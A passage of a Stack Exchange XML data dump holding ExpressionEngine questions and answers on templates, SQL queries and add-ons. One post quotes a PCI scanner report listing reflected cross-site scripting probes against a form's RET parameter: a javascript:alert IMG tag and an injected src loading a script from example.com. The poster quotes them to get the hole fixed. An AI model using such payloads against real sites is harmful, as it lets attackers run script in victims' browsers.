  <row Id="10749" PostTypeId="1" CreationDate="2013-05-27T13:10:39.680" Score="1" ViewCount="49" Body="&lt;p&gt;I have this code and it should output the location (I have checked that it exists in Expression Engine comment admin) but it doesn't output the data. I have look everywhere for a solution but nothing is indicating why the location is not being output. (Using EE 2.6.0)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries sort=&quot;asc&quot; status=&quot;open&quot; limit=&quot;20&quot;}&#xA;                &amp;lt;article class=&quot;recipe-comment&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;recipe-comment-author&quot;&amp;gt;&amp;lt;strong{location}&amp;lt;/strong&amp;gt; Review by {name}&amp;lt;/div&amp;gt;&#xA;                    {comment}&#xA;&#xA;                    &amp;lt;p class=&quot;recipe-comment-post-date&quot;&amp;gt;Posted on {comment_date format=&quot;%j%S %F %Y&quot;}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/article&amp;gt;&#xA;            {/exp:comment:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1554" LastActivityDate="2013-05-27T15:45:06.100" Title="Location in comment tag not being output" Tags="|comments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10750" PostTypeId="2" ParentId="10749" CreationDate="2013-05-27T13:28:20.367" Score="1" Body="&lt;p&gt;Looks like you didn't close your &lt;code&gt;&amp;lt;strong&amp;gt;&lt;/code&gt; element.  You need this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;strong&amp;gt;{location}&amp;lt;/strong&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-27T13:28:20.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10752" PostTypeId="1" CreationDate="2013-05-27T15:13:39.137" Score="1" ViewCount="65" Body="&lt;p&gt;My situation:&#xA;I have 3 sites (2 photoblogs, 1 start page). The 2 photoblogs use Assets to manage the images and CE Image to make the thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem:&#xA;on the start page i use (this is a simple example just to get the URL from assets in their respective entries for all sites):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fotoblog&quot; site=&quot;site1|site2&quot; limit=&quot;1&quot;}&#xA; {fotoblog-imagens limit=&quot;1&quot;}{url}{/fotoblog-imagens}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{fotoblog-imagens} is an Assets field&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only site1 returns the URL. Site2 doesn't. If i erase Site1 from the site field, it now returns the URLs for the Assets in entries on Site2. Tried var_prefix but results are the same. Any tips?&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2013-05-28T18:05:48.587" Title="Assets not retrieving URL for second site" Tags="|multi-site-manager|assets|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10754" PostTypeId="2" ParentId="10725" CreationDate="2013-05-27T17:26:21.100" Score="1" Body="&lt;p&gt;Content Elements and Wygwam are not currently compatible.  The CE devs did contact us and we're working with them on that compatibility; but it isn't available yet.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-05-27T17:26:21.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10755" PostTypeId="1" AcceptedAnswerId="10757" CreationDate="2013-05-27T17:38:27.310" Score="1" ViewCount="47" Body="&lt;p&gt;On the email confirmation in Expresso Store, can I have the full {shipping_region} name displayed rather than the three letter short code?&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-05-27T18:21:25.787" Title="Show full shipping region name in email confirmation Expresso Store" Tags="|expresso-store|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10757" PostTypeId="2" ParentId="10755" CreationDate="2013-05-27T18:21:25.787" Score="1" Body="&lt;p&gt;You will want to use &lt;code&gt;{shipping_region_name}&lt;/code&gt; to display the region name or &lt;code&gt;{shipping_country_name}&lt;/code&gt; to get the full country  name.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-05-27T18:21:25.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10759" PostTypeId="2" ParentId="6992" CreationDate="2013-05-28T04:07:28.750" Score="1" Body="&lt;p&gt;Sweet, after checking Devot-ee (why didn't I look there first) I found a recent addon called 'Custom comment fields' (&lt;a href=&quot;http://devot-ee.com/add-ons/custom-comment-fields&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/custom-comment-fields&lt;/a&gt;) which allows you to add some simple custom fields (Text input, Textarea, Safecracker File) to EE comments module posts. I then used this as a way to add the ability for logged in users to specify if there wished to post a specific comment anonymously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a new custom field using this addon called {comment_anonymously} and then set this as a checkbox field in the {exp:comment:form}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;comment_anonymously&quot; value=&quot;y&quot; /&amp;gt; &#xA;    Post my comment anonymously&#xA;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the {exp:comment:entries} loop, I used a conditional on the custom comment field to display the users name or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Posted by &#xA;{if '{comment_anonymously}' == 'y'}&#xA;    Anonymous &#xA;    {if logged_in_group_id == '1'}&#xA;        (&amp;lt;em&amp;gt;{name}&amp;lt;/em&amp;gt;)&#xA;    {/if}&#xA;{if:else}&#xA;    {name}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I've also placed in a conditional for if a Super Admin is looking to show the users actual name for easy verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Brendan&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-05-28T04:07:28.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10760" PostTypeId="2" ParentId="10744" CreationDate="2013-05-28T05:23:53.543" Score="1" Body="&lt;p&gt;Have you tried (after making a backup) changing your FF Checkbox fieldtype to the P&amp;amp;T one?  It's been awhile since then so I did double check, and found this &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/fieldtypes_causing_problems_in_upgrade_to_ee2#reply_4283900&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt; confirming that is all that should be needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that isn't working, can you confirm what versions you're going to and from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa, P&amp;amp;T&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-05-28T05:23:53.543" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10763" PostTypeId="1" CreationDate="2013-05-28T09:13:32.347" Score="1" ViewCount="73" Body="&lt;p&gt;As per the title. I have categories set up like this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Group Name: Amps&#xA;Children: Pre &gt; Power &gt; Integrated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;select name=&quot;category:Amps[]&quot;&amp;gt;&#xA;  {exp:channel:categories channel=&quot;sound&quot; style=&quot;linear&quot; category_group=&quot;2&quot;}&#xA;    &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;  {/exp:channel:categories}&#xA;   &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do you exclude the Group Name and just bring back the children in the rendered select dropdown? Otherwise on submit it will bring back ALL results if nothing is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="1012" LastActivityDate="2013-05-28T09:44:42.827" Title="Remove category Group Name from Low Search select" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10764" PostTypeId="1" AcceptedAnswerId="10770" CreationDate="2013-05-28T09:42:06.390" Score="1" ViewCount="47" Body="&lt;p&gt;Having already added 10 of product &lt;em&gt;foo&lt;/em&gt; to the cart, I later return to the &lt;em&gt;foo&lt;/em&gt; product page - how can I display how many &lt;em&gt;foo's&lt;/em&gt; are already in the cart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="150" LastEditDate="2013-05-29T11:04:37.290" LastActivityDate="2013-05-29T11:04:37.290" Title="Expresso-store: How do I diaplay the quantity of a specific product in the cart?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10765" PostTypeId="2" ParentId="10763" CreationDate="2013-05-28T09:44:42.827" Score="1" Body="&lt;p&gt;You could use &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; instead, you do get much more control over the category output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;select name=&quot;category:Amps[]&quot;&amp;gt;&#xA;  {exp:gwcode_categories channel=&quot;sound&quot; depth=&quot;2&quot; show_empty=&quot;no&quot;}&#xA;    &amp;lt;option value=&quot;{cat_id}&quot;&amp;gt;{cat_name}&amp;lt;/option&amp;gt;&#xA;  {/exp:gwcode_categories}&#xA;   &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;^ This is a mock up, not actual code.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-28T09:44:42.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10766" PostTypeId="1" AcceptedAnswerId="10776" CreationDate="2013-05-28T10:27:51.117" Score="0" ViewCount="145" Body="&lt;p&gt;I am trying to limit the following query by the member's group id, but having some difficulty with the join statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This query works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(*) as member_count, m_field_id_6 as state&#xA;FROM exp_member_data WHERE m_field_id_6 != ''&#xA;AND m_field_id_9 = 'USA'&#xA;GROUP BY m_field_id_6 ORDER BY m_field_id_6 ASC&#xA;&quot;}&#xA;  {state} ({member_count})&amp;lt;br /&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am struggling with how to limit by group_id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(*) as member_count, m_field_id_6 as state&#xA;FROM exp_member_data WHERE m_field_id_6 != ''&#xA;AND m_field_id_9 = 'USA'&#xA;JOIN exp_members ON exp_members.member_id = exp_member_data.member_id&#xA;WHERE exp_members.group_id='5'&#xA;GROUP BY m_field_id_6 ORDER BY m_field_id_6 ASC&#xA;&quot;}&#xA;  {state} ({member_count})&amp;lt;br /&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The end result would be a directory of members grouped by state. I've maxed out my query knowledge, thank you for any assistance or suggestions.&lt;/p&gt;&#xA;" OwnerUserId="1255" LastActivityDate="2013-05-28T16:21:20.370" Title="Limiting query module results by member group_id" Tags="|members|query|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10768" PostTypeId="2" ParentId="10391" CreationDate="2013-05-28T10:41:13.090" Score="2" Body="&lt;p&gt;Since I'm not a big fan of commenting out whole bloc of code my take was to change this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($this-&amp;gt;cache['keywords'][$this-&amp;gt;settings['field_id']]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make it look like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($this-&amp;gt;settings['field_id']) AND isset($this-&amp;gt;cache['keywords'][$this-&amp;gt;settings['field_id']]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had this issue only when saving an entry from the channel used by Structure which doesn't use a matrix field in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked with EE 2.6.1 and Matrix 2.5.5&lt;/p&gt;&#xA;" OwnerUserId="1558" LastActivityDate="2013-05-28T10:41:13.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10769" PostTypeId="1" CreationDate="2013-05-28T10:54:17.303" Score="1" ViewCount="474" Body="&lt;p&gt;On our site we have a number of front-end Safecracker forms. Also, our website needs to be fully PCI DSS compliant and in order to achieve this, we have to use a scanning tool provided by our Merchant Bank to ensure that any vulnerabilities are fixed before they will supply us with a PCI DSS compliance certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we scanned our website, all of the safecracker forms came up with the following similar warning;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Description: CGI Generic Cross-Site Scripting (quick test) &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Synopsis: The remote web server is prone to cross-site scripting&#xA;  attacks. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Impact: The remote web server hosts CGI scripts that fail to&#xA;  adequately sanitize request strings with malicious JavaScript. By&#xA;  leveraging this issue, an attacker may be able to cause arbitrary HTML&#xA;  and script code to be executed in a user's browser within the security&#xA;  context of the affected site. These XSS are likely to be 'non&#xA;  persistent' or 'reflected'.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;See also :&#xA;  &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent&lt;/a&gt;&#xA;  &lt;a href=&quot;http://www.nessus.org/u?9717ad85&quot; rel=&quot;nofollow&quot;&gt;http://www.nessus.org/u?9717ad85&lt;/a&gt; &lt;a href=&quot;http://projects.webappsec.org/Cross-&quot; rel=&quot;nofollow&quot;&gt;http://projects.webappsec.org/Cross-&lt;/a&gt;&#xA;  Site+Scripting &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Data Received: Using the POST HTTP method, SecurityMetrics found that&#xA;  :&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;The following resources may be vulnerable to cross-site scripting (quick test) :&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;The 'RET' parameter of the /product-registration CGI :&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/product-registration [RET=&amp;lt;IMG SRC=&quot;javascript:alert(104);&quot;&amp;gt;]&#xA;&#xA;-------- output -------- &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;form id=&quot;publishForm&quot; method=&quot;post&quot; action=&quot;&amp;lt;IMG SRC=&quot;javascript:alert( 104);&quot;&amp;gt;&quot; enctype=&quot;multipart/form-data&quot; &amp;gt; &amp;lt;div class='hiddenFields'&amp;gt; &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;108&quot; /&amp;gt; ------------------------ Other references : CWE:79, CWE:80, CWE:81, CWE:83, CWE:20, CWE:74, CWE:442, CWE:712, CWE:722, CWE:725, CWE:811, CWE:751, CWE:801, CWE:116, CWE:692, CWE:86 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another example of vulnerability with the same form is as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-------- output -------- &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;form id=&quot;publishForm&quot; method=&quot;post&quot; action=&quot;509&quot; src=&quot;http://www.exampl e.com/exploit509.js&quot; enctype=&quot;multipart/form-data&quot; &amp;gt; &amp;lt;div class='hiddenFields'&amp;gt; &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;108&quot; /&amp;gt; ------------------------ /product-registration [return_url=/product- registration/sent&amp;amp;RET=509&quot; sr c=&quot;http://www.example.com/exploit509.js&amp;amp;XID=]&#xA;&#xA;-------- output -------- &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;form id=&quot;publishForm&quot; method=&quot;post&quot; action=&quot;509&quot; src=&quot;http://www.exampl e.com/exploit509.js&quot; enctype=&quot;multipart/form-data&quot; &amp;gt; &amp;lt;div class='hiddenFields'&amp;gt; &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;108&quot; /&amp;gt; ------------------------ Other references : CWE:79, CWE:80, CWE:81, CWE:83, CWE:20, CWE:74, CWE:442, CWE:712, CWE:722, CWE:725, CWE:811, CWE:751, CWE:801, CWE:116, CWE:692, CWE:86 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Resolution: Restrict access to the vulnerable application. Contact the&#xA;  vendor for a patch or upgrade. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Risk Factor: Medium/ CVSS2 Base Score: 4.3 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;AV:N/AC:M/Au:N/C:N/I:P/A:N&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone else has come across this before with ExpressionEngine and Safecracker forms? And also, what the fix(es) might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned in a reply below, I do have the 'return' and 'return_url' parameters set for the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="466" LastEditDate="2013-05-28T15:12:34.147" LastActivityDate="2013-05-28T15:12:34.147" Title="Safecracker forms fail PCI DSS" Tags="|javascript|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10770" PostTypeId="2" ParentId="10764" CreationDate="2013-05-28T13:02:10.963" Score="1" Body="&lt;p&gt;You would use &lt;code&gt;{qty_in_cart}&lt;/code&gt; variable as seen in the docs &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#qty_in_cart&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/product_tag.html#qty_in_cart&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-05-28T13:02:10.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10771" PostTypeId="1" AcceptedAnswerId="10778" CreationDate="2013-05-28T14:12:04.083" Score="1" ViewCount="143" Body="&lt;p&gt;After upgrading to EE 2.6.1, i now try to create a new channel field, but instead get this SQL error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1064&#xA;&#xA;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') ORDER BY `screen_name`, `username` ASC' at line 4&#xA;SELECT `member_id`, `group_id`, `username`, `screen_name` FROM (`exp_members`) WHERE `in_authorlist` = 'y' OR `group_id` IN () ORDER BY `screen_name`, `username` ASC&#xA;&#xA;Filename: fieldtypes/relationship/libraries/Relationships_ft_cp.php&#xA;Line Number: 163&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyboy knows how to correct this?&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2013-05-28T16:27:31.883" Title="Cannot create channel field" Tags="|ee2|custom-fields|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10772" PostTypeId="2" ParentId="10769" CreationDate="2013-05-28T14:50:57.833" Score="1" Body="&lt;p&gt;Security scans are a joyous thing. And often return &quot;false positives&quot;.  Unfortunately in the PCI world, they don't care.  It looks like the scanner is referring to the return parameter and being able to inject something into the hidden field.  I just checked and SC adds a return parameter of the current page if you don't supply one. So the hidden field is still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the scanner provide more info, i. e. what it tried to inject? What was returned to it?&#xA;That may give you a bit more to go on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe EE comes close to making any such claims of being PCI compliant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest looking at the SC module and see if you can find where it processes the return parameter.  Maybe there you can see what you need to add to scrub the return parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure, but you may find your self going down the line of all the hidden parameters as you continue scanning.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-05-28T14:50:57.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10773" PostTypeId="2" ParentId="10080" CreationDate="2013-05-28T14:56:14.283" Score="1" Body="&lt;p&gt;Have you set up the admin.php and index.php files in the sub-sites? Its sounds like it could be something to do with the paths to the system folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens when you visit the subs sites? Do you get an error saying things are configured properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a custom config file running at all? have you got the site turned off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that when these things happen, that is usually the paths that are wrong. I haven't seen the error you are receiving before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have admin.php in the root of soundhalo-blog? Have you renamed that file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you've probably read all this, but if you follow the instructions here, you should set it up fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/sites/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know how you get on.&lt;/p&gt;&#xA;" OwnerUserId="855" LastEditorUserId="855" LastEditDate="2013-05-28T15:01:20.750" LastActivityDate="2013-05-28T15:01:20.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10774" PostTypeId="1" CreationDate="2013-05-28T14:57:34.837" Score="4" ViewCount="1531" Body="&lt;p&gt;I seem to be getting 403 forbidden errors when using assets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see this happening in firebug when I try to index folders and if I try to upload a new file, it simply shows an alert saying 'undefined'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rooting around in the mcp.assets file I tried echoing the member_id from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it gave me '0' - so perhaps it's not getting the session value for some reason?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the field to the native EE File field, I can upload the files successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just migrated servers, so it's probably something connected to that as I had it working before. I've tried uninstalling and re-installing the module with no joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Assets  2.1.3 and EE 2.6.1 on a server running PHP 5.3.25&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be great!&lt;/p&gt;&#xA;" OwnerUserId="889" LastActivityDate="2015-05-20T16:05:14.953" Title="Assets - 403 forbidden on all requests" Tags="|assets|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10775" PostTypeId="1" CreationDate="2013-05-28T15:49:46.463" Score="0" ViewCount="113" Body="&lt;p&gt;My client wants a blog set up in EE. However, from an SEO standpoint he heard that having your blog on a subdomain is better. A) What is the validity to this request and B) Would I have to use MSM in order for this to be managed all from the same admin? Thanks for any recommendations!&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-05-28T17:51:03.940" Title="Blog on subdomain MSM" Tags="|multi-site-manager|subdomain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10776" PostTypeId="2" ParentId="10766" CreationDate="2013-05-28T16:21:20.370" Score="2" Body="&lt;p&gt;You can try this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(*) as member_count, m_field_id_6 as state&#xA;        FROM exp_member_data &#xA;        JOIN exp_members ON exp_members.member_id = exp_member_data.member_id&#xA;        WHERE m_field_id_6 != '' &#xA;        AND m_field_id_9 = 'USA'&#xA;        AND exp_members.group_id='5'&#xA;        GROUP BY m_field_id_6 ORDER BY m_field_id_6 ASC&quot;}&#xA;    {state} ({member_count})&amp;lt;br /&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plz share if ORDER BY is also working fine.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-28T16:21:20.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10777" PostTypeId="1" AcceptedAnswerId="10788" CreationDate="2013-05-28T16:21:41.377" Score="0" ViewCount="164" Body="&lt;p&gt;I am creating an extension for Cartthrob. What I need it to do is not allow the customer to complete their order if there are a certain number of certain products in the cart (there are three products that they can only buy a total of 8 across all three, but two products that they can buy any number of). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the extension set up on the cartthrob_update_cart_end to check the items currently in the cart. I was hoping to set a variable (global?) that I could use later on in the checkout template in a conditional. Setting a global variable like this DID NOT work for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars['test_var'] = &quot;test var&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to output the variable as {test_var}, it only outputs the variable name (it wasn't parsed). This would most likely be a parse issue, but since this is an extension I thought parsing wouldn't matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pseudocode I was thinking:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update cart hook calls my function in ext.limit_items.php.&lt;/li&gt;&#xA;&lt;li&gt;My function counts up all the products and sets a variable &quot;item_count_passed&quot; to either true or false.&lt;/li&gt;&#xA;&lt;li&gt;My checkout template loads. Within the template is the following conditional: {if item_count_passed} then show checkout form, else show message.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this possible/is there a better way to do this? I am saying this is not specific to Cartthrob since I am just asking how to set a variable in extension code that can be used in a conditional in a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I realize that I am probably looking more for a session variable and not a global variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit #2: Just to be clear, the root question is: How can I set a variable in an extension that I am writing that would be available in a template, particularly within a conditional?&lt;/p&gt;&#xA;" OwnerUserId="874" LastEditorUserId="874" LastEditDate="2013-05-28T18:06:39.833" LastActivityDate="2013-05-28T18:53:33.700" Title="Create variable to be used in conditional in an Extension" Tags="|cartthrob|add-on-development|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10778" PostTypeId="2" ParentId="10771" CreationDate="2013-05-28T16:27:31.883" Score="2" Body="&lt;p&gt;It seems that no member group is selected as &quot;Include Members in PUBLISH page multi-author list?&quot;. Go to Control Panel -&gt; Members -&gt; Member Groups. Click on &quot;Edit Group&quot; next to Super Admin. Now make sure the &quot;Include Members in PUBLISH page multi-author list?&quot; is &quot;Yes&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-28T16:27:31.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10779" PostTypeId="1" AcceptedAnswerId="10782" CreationDate="2013-05-28T16:38:03.553" Score="0" ViewCount="79" Body="&lt;p&gt;I have a channel for communities that stores community_name as the 2 letter abbreviation since it is part of the mailing address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to build a filtered search but want to display the complete state name rather than its abbreviation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where in EE do you put helper functions? In CI, I would just add a file in the system/helpers folder that would hold all of my sitewide functions ( like formatPhone ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I know where to place this very simple function, I also need to know how to display it. Right now I am using &lt;code&gt;&amp;lt;span class=&quot;community_state webcam-caption&quot;&amp;gt;{community_state}&amp;lt;/span&amp;gt;&lt;/code&gt; but that would, of course, be the abbreviation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Jon&lt;/p&gt;&#xA;" OwnerUserId="1346" LastActivityDate="2013-05-28T17:21:57.683" Title="EE custom function to return State Name rather than abbreviation" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 